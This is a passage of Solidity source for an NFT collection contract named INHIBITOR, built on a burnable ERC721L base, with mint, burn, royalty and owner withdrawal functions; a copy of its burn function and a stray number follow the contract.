= _ownerships[tokenId]; if (ownership != address(0x000000000000000000000000000000000000dEaD)) { if (ownership != address(0)) { return ownership; } while (true) { tokenId--; ownership = _ownerships[tokenId]; if (ownership != address(0)) { if (ownership == address(0x000000000000000000000000000000000000dEaD)) { revert ("Null Owner"); } return ownership; } } } } } revert (); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function burn(uint256 tokenId) public { address prevOwner = ownerOf(tokenId); require(isUnlocked(prevOwner), "ERC721L: Tokens Locked"); require((_msgSender() == prevOwner || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwner, _msgSender())), "ERC721L: Not Approved"); delete _tokenApprovals[tokenId]; unchecked { _addressData[prevOwner].balance -= 1; _ownerships[tokenId] = address(0x000000000000000000000000000000000000dEaD); _collectionData.burned++; uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId] == address(0) && nextTokenId < _collectionData.index) { _ownerships[nextTokenId] = prevOwner; } } emit Transfer(prevOwner, address(0x000000000000000000000000000000000000dEaD), tokenId); } /** * @dev Destroys `tokenIDs`. * The approval is cleared when each token is burned. * * Requirements: * * - `tokenIDs` must exist. * - caller must be Owner or Approved for token usage. * * Emits a {Transfer} event. */ function batchBurn(uint256 startID, uint256 quantity) public { address currentOwner = ownerOf(startID); require(isUnlocked(currentOwner), "ERC721L: Tokens Locked"); require(multiOwnerCheck(currentOwner, startID, quantity), "ERC721L: Not Batchable"); require(_msgSender() == currentOwner || isApprovedForAll(currentOwner, _msgSender()), "ERC721M: Not Approved"); unchecked { for (uint256 i; i < quantity; i++) { uint256 currentToken = startID + i; delete _tokenApprovals[currentToken]; if (i == 0){ _ownerships[currentToken] = address(0x000000000000000000000000000000000000dEaD); } else { delete _ownerships[currentToken]; } emit Transfer(currentOwner, address(0x000000000000000000000000000000000000dEaD), currentToken); } _addressData[currentOwner].balance -= uint64(quantity); _collectionData.burned += uint128(quantity); uint256 nextTokenId = startID + quantity; if (_ownerships[nextTokenId] == address(0) && nextTokenId < _collectionData.index) { _ownerships[nextTokenId] = currentOwner; } } } } contract INHIBITOR is ERC721LBurnable { address public royaltyAddress; uint256 public royaltySize = 750; uint256 public royaltyDenominator = 10000; mapping(uint256 => address) private _royaltyReceivers; uint256 maxSupply = 7777; string private _baseURI = "ipfs://QmaQ2FarHPpr5TbjQmv6knusDeNBXETzWxRGnWzLsTgn4G/"; uint256 public publicMaxMint = 5; uint256 public priceInhibitor = .02 ether; bool public publicActive; address public genesisAddress; constructor(address _genesisAddress) ERC721L("INHIBITOR", "INHIB") { genesisAddress = _genesisAddress; royaltyAddress = owner(); } modifier callerIsUser() { require(tx.origin == _msgSender() && _msgSender().code.length == 0, "Contract Caller"); _; } modifier isGenesisContract() { require(genesisAddress == _msgSender(), "Caller not Genesis Contract"); _; } function mintHelper(address _minter, uint256 _quantity) public isGenesisContract { unchecked { require(totalCreated() + _quantity <= maxSupply, "Insufficient supply"); } _mint(_minter, _quantity); } function publicMint(uint256 _quantity) public payable callerIsUser() { require(publicActive, "Public sale not active"); require(_quantity > 0 && _quantity <= publicMaxMint, "Invalid quantity"); unchecked { require(totalCreated() + _quantity <= maxSupply, "Insufficient supply remaining"); require(msg.value >= priceInhibitor * _quantity, "Insufficient payment"); } _mint(_msgSender(), _quantity); } function baseURI() public view override returns (string memory) { return _baseURI; } function setBaseURI(string calldata newBaseURI) external onlyOwner { _baseURI = newBaseURI; } function setPublicState(bool _state) external onlyOwner { publicActive = _state; } function setPublicMaxMint(uint256 _newLimit) external onlyOwner { publicMaxMint = _newLimit; } function setInhibitorPrice(uint256 _price) external onlyOwner { priceInhibitor = _price; } function setGenesisAddress(address _address) external onlyOwner { genesisAddress = _address; } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) { uint256 amount = (_salePrice * royaltySize)/(royaltyDenominator); address royaltyReceiver = _royaltyReceivers[_tokenId] != address(0) ? _royaltyReceivers[_tokenId] : royaltyAddress; return (royaltyReceiver, amount); } function addRoyaltyReceiverForTokenId(address receiver, uint256 tokenId) public onlyOwner { _royaltyReceivers[tokenId] = receiver; } function withdraw() external onlyOwner { uint256 currentBalance = address(this).balance; (bool sent, ) = address(msg.sender).call{value: currentBalance}(''); require(sent, "Transfer Error"); } }
Destroys `tokenId`. The approval is cleared when the token is burned. Requirements: - `tokenId` must exist. Emits a {Transfer} event./
function burn(uint256 tokenId) public { address prevOwner = ownerOf(tokenId); require(isUnlocked(prevOwner), "ERC721L: Tokens Locked"); require((_msgSender() == prevOwner || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwner, _msgSender())), "ERC721L: Not Approved"); delete _tokenApprovals[tokenId]; unchecked { _addressData[prevOwner].balance -= 1; _ownerships[tokenId] = address(0x000000000000000000000000000000000000dEaD); _collectionData.burned++; uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId] == address(0) && nextTokenId < _collectionData.index) { _ownerships[nextTokenId] = prevOwner; } } emit Transfer(prevOwner, address(0x000000000000000000000000000000000000dEaD), tokenId); }
303,802